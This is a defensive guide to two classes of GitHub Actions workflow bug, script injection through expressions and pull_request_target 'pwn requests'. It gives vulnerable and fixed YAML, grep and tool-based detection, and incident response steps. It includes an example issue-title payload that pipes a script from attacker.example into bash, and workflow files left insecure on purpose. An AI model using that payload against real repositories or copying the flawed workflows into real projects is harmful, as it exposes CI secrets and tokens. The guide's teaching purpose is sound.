On this page
  1. Script injection through expressions
  2. The pwn request: pull_request_target
  3. Other risky triggers
  4. Find these bugs in an existing organization
  5. If you find one
  6. References

Two classes of workflow bug account for most real compromises of GitHub Actions in public repositories. The first is script injection: untrusted text from an issue, pull request or commit is expanded into a shell command. The second is the pwn request: a privileged trigger such as pull_request_target checks out and runs code from an attacker's fork. Both let an outsider run code with your secrets and a writable GITHUB_TOKEN, and both are easy to write by accident.

This guide explains each class with vulnerable and fixed YAML, then gives detection steps for an existing organization. The general Actions baseline is in the Actions security guide.

Script injection through expressions

GitHub expressions (${{ ... }}) are substituted into the workflow before the step runs. In a run: step, the result becomes part of the shell script itself. If the value is attacker-controlled, the attacker writes your script.

Vulnerable:

yaml
on:
  issues:
    types: [opened]
jobs:
  triage:
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue: ${{ github.event.issue.title }}"

An issue titled a"; curl -sSfL https://attacker.example/x.sh | bash; echo " turns into a script that downloads and runs the attacker's code. The same applies to actions/github-script when an expression is interpolated into the script: body, which then runs as JavaScript.

Which inputs are untrusted

Treat any field that a person outside your organization can set as hostile, including:

  • github.event.issue.title and .body
  • github.event.pull_request.title, .body, .head.ref, .head.label, .head.repo.default_branch
  • github.event.comment.body, github.event.review.body, github.event.review_comment.body
  • github.event.commits.*.message, github.event.head_commit.message, .author.email, .author.name
  • github.head_ref (branch names can contain $(...) and backticks)
  • github.event.pages.*.page_name, github.event.discussion.title and .body
  • Outputs of steps that processed any of the above

The fix: pass data through environment variables

Bind the value to an environment variable and reference the variable with normal shell quoting. The shell then treats it as data:

yaml
steps:
  - name: Log issue title
    env:
      TITLE: ${{ github.event.issue.title }}
    run: echo "New issue: $TITLE"

For actions/github-script, read from context inside the script instead of interpolating:

yaml
- uses: actions/github-script@3a2844b7e9c422d3c10d287c895573f7108da1b3 # v9.0.0
  with:
    script: |
      const title = context.payload.issue.title;
      core.info(`New issue: ${title}`);

Also set permissions: to the minimum, so that a successful injection gets a read-only token and no secrets.

The pwn request: pull_request_target

pull_request workflows triggered from forks run with a read-only token and no secrets. That is safe by design. pull_request_target was added for workflows that need more, such as labeling or commenting on fork pull requests: it runs in the context of the base repository, with the workflow file from the base branch, access to secrets and a token that can have write permissions.

The workflow definition is trusted. The pull request code is not. The vulnerability appears when a pull_request_target workflow checks out the pull request head and runs anything from it:

yaml
# VULNERABLE: do not use
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

npm ci runs install scripts from the attacker's package.json, and npm test runs their test code. Build tools, Makefiles, Gradle wrappers, pre-commit hooks and local actions (uses: ./.github/actions/x) from the checked-out tree all execute attacker code in the same way. Even without explicit secrets, the job can read the GITHUB_TOKEN, poison the Actions cache for the base branch, or pivot to a self-hosted runner.

Safe patterns

  1. Use pull_request for anything that builds or tests. If the job needs no secrets, it does not need pull_request_target.
  2. Use pull_request_target only for metadata. Labeling, commenting and assigning reviewers do not require checking out code. If you must read a file, read it from the base branch or through the API without executing it.
  3. Split privileged work with workflow_run carefully. A common pattern runs the untrusted build under pull_request, uploads results as an artifact, and a second workflow on workflow_run posts the results with write permissions. The second workflow must treat the artifact as untrusted data: download it to a temporary directory, never execute it, and validate anything it parses (a PR number should be checked to be an integer).
  4. Gate privileged runs on approval. For cases that genuinely need secrets with fork code (for example integration tests against a paid service), require a label applied by a maintainer, combine it with an environment that needs reviewer approval, and check out the exact SHA that was reviewed.
yaml
on:
  pull_request_target:
    types: [labeled]
jobs:
  integration:
    if: github.event.label.name == 'safe-to-test'
    runs-on: ubuntu-latest
    environment: fork-integration   # requires reviewer approval
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          persist-credentials: false
      - run: make integration-test

This is still running untrusted code with secrets; the approval is what makes it acceptable, and the reviewer must read the diff. Remove the label automatically on every new push so that new commits require a new review.

Other risky triggers

  • workflow_run runs with base repository privileges after another workflow completes, including one triggered by a fork. The same rules apply: never check out and run the head of the triggering pull request.
  • issue_comment runs with base repository privileges. "ChatOps" workflows that run /deploy or /test on a comment must check that the commenter is a member (github.event.comment.author_association in OWNER, MEMBER, COLLABORATOR) and then check out the pull request carefully.
  • Artifacts and caches produced by untrusted runs are untrusted input for any later privileged workflow.

Find these bugs in an existing organization

Search your workflow files first. A rough grep catches most cases:

shell
# Clone or update all repositories, then:
grep -rlE "pull_request_target|workflow_run" --include=*.yml --include=*.yaml */.github/workflows/

# Untrusted expressions inside run steps
grep -rnE '\$\{\{ *github\.(event\.(issue|pull_request|comment|review|review_comment|discussion|head_commit|commits)|head_ref)' \
  --include=*.yml --include=*.yaml */.github/workflows/

Then use purpose-built tools, which understand the YAML and the data flow:

  • zizmor flags template injection, dangerous triggers, excessive permissions, unpinned actions and credential persistence: zizmor .github/workflows/, or zizmor --gh-token "$GH_TOKEN" ACME/repo to audit a remote repository.
  • CodeQL with the actions language detects code injection and untrusted checkout patterns, and runs as part of code scanning.
  • OpenSSF Scorecard's Dangerous-Workflow check reports untrusted checkouts and script injection patterns across many repositories (see the audit guide).

Run them in CI on every pull request that touches .github/workflows/, and require review from workflow owners through CODEOWNERS.

If you find one

Treat an exploitable workflow in a public repository as a possible incident, not just a bug:

  1. Disable the workflow (gh workflow disable NAME -R ACME/repo) and fix it.
  2. Check the workflow's run history for runs triggered by unknown accounts, and read their logs.
  3. Rotate every secret the workflow could reach, including organization secrets shared with the repository.
  4. Look for persistence: new deploy keys, webhooks, workflow files, releases or tags, and cache entries created by those runs. The audit log helps here.
  5. Clear the Actions cache for the repository (gh cache delete --all -R ACME/repo).

References

Tags:actionssupply-chain

Written by

Florian Amette, Security Engineer & Editor

Security engineer writing practical hardening guides for GitHub organizations, repositories and CI/CD pipelines, with a focus on software supply-chain security.